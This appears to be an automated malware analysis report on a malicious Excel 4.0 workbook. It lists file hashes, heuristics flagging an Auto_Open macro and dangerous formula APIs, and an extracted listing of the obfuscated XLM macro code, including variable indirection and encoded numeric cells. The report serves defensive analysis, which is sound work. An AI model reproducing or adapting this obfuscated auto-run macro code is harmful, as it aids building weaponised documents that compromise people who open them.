Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d68bbf1e480df94f…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:46:08 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: c0dcca4788e0eae461d58c1db9d5535c SHA-1: 9cfbab71ccc49a3bdd537998193107ea7e285a8d SHA-256: d68bbf1e480df94f6b2d84915cd6b820c8acf675cc2bb732b6237d6ada37ade9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6864 bytes
SHA-256: 2278c68b5975a43e000f62ba811631034ecdfbfb3105952cc3a010fe783b6eb8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  TQzDavSaU
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A163 
' 0018     26 LABEL : Cell Value, String Constant - brKbjIhkitg len=0 
' 0018     23 LABEL : Cell Value, String Constant - dsAAEHpH len=0 
' 0018     27 LABEL : Cell Value, String Constant - dsyQGtLuRUKd len=0 
' 0018     27 LABEL : Cell Value, String Constant - ExtcKovmdEOy len=0 
' 0018     23 LABEL : Cell Value, String Constant - GlyRKBBB len=0 
' 0018     20 LABEL : Cell Value, String Constant - HDjLN len=0 
' 0018     22 LABEL : Cell Value, String Constant - iDRtWpU len=0 
' 0018     22 LABEL : Cell Value, String Constant - iHgvYZc len=0 
' 0018     27 LABEL : Cell Value, String Constant - IJnrgBbwPnZX len=0 
' 0018     23 LABEL : Cell Value, String Constant - IktXcrEP len=0 
' 0018     26 LABEL : Cell Value, String Constant - JTEuGsUkhZd len=0 
' 0018     20 LABEL : Cell Value, String Constant - nrrZS len=0 
' 0018     22 LABEL : Cell Value, String Constant - OvmIqCc len=0 
' 0018     23 LABEL : Cell Value, String Constant - pIayxigs len=0 
' 0018     20 LABEL : Cell Value, String Constant - RgfCX len=0 
' 0018     24 LABEL : Cell Value, String Constant - TSmlgofnJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - uhpst len=0 
' 0018     21 LABEL : Cell Value, String Constant - UoHtYc len=0 
' 0018     26 LABEL : Cell Value, String Constant - WLkMqPqaWVf len=0 
' 0018     20 LABEL : Cell Value, String Constant - YCzNF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  TQzDavSaU,A68,"SET.NAME("YCzNF",0+VALUE("0"))",""
'  TQzDavSaU,A73,"SET.NAME("HDjLN",YCzNF)",""
'  TQzDavSaU,A76,"SET.NAME("WLkMqPqaWVf",YCzNF)",""
'  TQzDavSaU,A79,"SET.NAME("ExtcKovmdEOy",COUNTA(nrrZS))",""
'  TQzDavSaU,A81,"SET.NAME("GlyRKBBB",COUNTA(UoHtYc))",""
'  TQzDavSaU,A86,[],""
'  TQzDavSaU,A91,"SET.NAME("RgfCX","")",""
'  TQzDavSaU,A95,"HDjLN",""
'  TQzDavSaU,P96,"",-145.00000000000000000000
'  TQzDavSaU,P97,"",-631.00000000000000000000
'  TQzDavSaU,A98,"SET.NAME("IktXcrEP",HLOOKUP("*",nrrZS,HDjLN,FALSE))",""
'  TQzDavSaU,P98,"",-305.00000000000000000000
'  TQzDavSaU,P99,"",56.00000000000000000000
'  TQzDavSaU,P100,"",-132.00000000000000000000
'  TQzDavSaU,P101,"",-404.00000000000000000000
'  TQzDavSaU,A103,"TSmlgofnJ",""
'  TQzDavSaU,A107,"SET.NAME("brKbjIhkitg",YCzNF)",""
'  TQzDavSaU,A112,[],""
'  TQzDavSaU,A114,"brKbjIhkitg",""
'  TQzDavSaU,A116,"JTEuGsUkhZd",""
'  TQzDavSaU,A120,"dsyQGtLuRUKd",""
'  TQzDavSaU,A124,"IJnrgBbwPnZX",""
'  TQzDavSaU,A126,"SET.NAME("iDRtWpU",VALUE(HLOOKUP("*",UoHtYc,IJnrgBbwPnZX,FALSE)))",""
'  TQzDavSaU,A131,"dsAAEHpH",""
'  TQzDavSaU,A135,"RgfCX",""
'  TQzDavSaU,A137,"WLkMqPqaWVf",""
'  TQzDavSaU,A141,NEXT(),""
'  TQzDavSaU,A146,"pIayxigs",""
'  TQzDavSaU,A150,[],""
'  TQzDavSaU,A155,"iHgvYZc",""
'  TQzDavSaU,A157,NEXT(),""
'  TQzDavSaU,A159,RETURN(),""
'  TQzDavSaU,A191,"SET.NAME("uhpst",A68)",""
'  TQzDavSaU,A195,"nrrZS",""
'  TQzDavSaU,A199,"SET.NAME("UoHtYc",R65C13)",""
'  TQzDavSaU,A203,"SET.NAME("iHgvYZc",210)",""
'  TQzDavSaU,A205,"SET.NAME("OvmIqCc",1)",""
'  TQzDavSaU,A209,uhpst(),""
'  TQzDavSaU,A210,HALT(),""

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